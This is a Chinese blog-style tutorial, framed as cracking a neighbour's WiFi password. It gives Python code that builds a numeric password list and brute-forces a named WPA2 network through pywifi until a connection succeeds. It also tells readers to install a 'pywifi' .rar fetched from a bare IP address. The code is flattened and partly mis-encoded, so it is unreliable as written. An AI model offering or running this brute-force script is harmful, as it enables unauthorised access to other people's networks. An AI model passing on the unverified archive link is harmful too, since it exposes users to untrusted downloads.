什么?你用python破解了隔壁老王的WiFi密碼!!!
相信大家都遇到過這樣個(gè)問題,有時(shí)候網(wǎng)特別差,但是恰好又有許多的WiFi,但是你又不知道密碼,這就相當(dāng)于當(dāng)你很餓的時(shí)候,有一碗面條在你面前卻不給你筷子。這不是折磨人呢,今天教你用python來破解WiFi密碼!

pywifi
http://180.76.135.143:3333/static/pu0YuH7DMovcXQ7m8RBVErh8.rar
首先我們需要一個(gè)密碼本,就是用來存儲(chǔ)我們破譯用的密碼,生成代碼如下,其中的部分參數(shù)大家可以自行修改:
2.?運(yùn)行一下上述代碼,就會(huì)生成我們的密碼本,接下來就是通過密碼本來破解我們的WiFi了:import itertools as itsimport datetime#記錄程序運(yùn)行時(shí)間start=datetime.datetime.now()words = '1234567890'#這里可以加入字母和其他字符,使用string包更方便# 生成密碼的位數(shù)r = its.product(words,repeat=4)#4即生成4位密碼,正常情況下熱點(diǎn)密碼位數(shù)為8dic =open(r"C:\Users\Administrator\Desktop\paswwer.txt",'a')for i in r:dic.write(''.join(i))dic.write(''.join('\n'))print(i)dic.close()print('密碼本生成好了')end=datetime.datetime.now()
首先將我們下載的pywifi這個(gè)包解壓縮將pywifi文件夾放在我們python環(huán)境里面的lib文件夾下面,不然無(wú)法引用我們的這個(gè)包:
所謂暴力破解可不是浪得虛名的,就是時(shí)間比較長(zhǎng)一點(diǎn),在程序運(yùn)行過程中如果缺少什么包,直接pip install去下載,因?yàn)槲乙灿龅竭^這種問題。# coding:utf-8import pywififrom pywifi import constimport timeimport datetime#測(cè)試連接,返回鏈接結(jié)果def wifiConnect(pwd):#抓取網(wǎng)卡接口wifi=pywifi.PyWiFi()#獲取第一個(gè)無(wú)線網(wǎng)卡ifaces=wifi.interfaces()[0]#斷開所有連接ifaces.disconnect()time.sleep(1)wifistatus=ifaces.status()if wifistatus ==const.IFACE_DISCONNECTED:#創(chuàng)建WiFi連接文件profile=pywifi.Profile()#要連接WiFi的名稱profile.ssid="jiayi"#網(wǎng)卡的開放狀態(tài)profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法為wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密單元profile.cipher=const.CIPHER_TYPE_CCMP#調(diào)用密碼profile.key=pwd#刪除所有連接過的wifi文件ifaces.remove_all_network_profiles()#設(shè)定新的連接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi連接時(shí)間time.sleep(3)if ifaces.status()==const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi連接")#讀取密碼本def readPassword():print("開始破解:")#密碼本路徑path="C:\Users\Administrator\Desktop/password.txt"#打開文件file=open(path,"r")while True:try:#一行一行讀取pad=file.readline()bool=wifiConnect(pad)if bool:print("密碼已破解:",pad)print("WiFi已自動(dòng)連接!!!")breakelse:#跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)print("密碼破解中....密碼校對(duì): ",pad)except:continuestart=datetime.datetime.now()readPassword()end=datetime.datetime.now()print("破解WIFI密碼一共用了多長(zhǎng)時(shí)間:{}".format(end-start))
如果程序可以跑起來,但是中途又說pywifi?failled什么的,不用管,繼續(xù)跑!!!
評(píng)論
圖片
表情
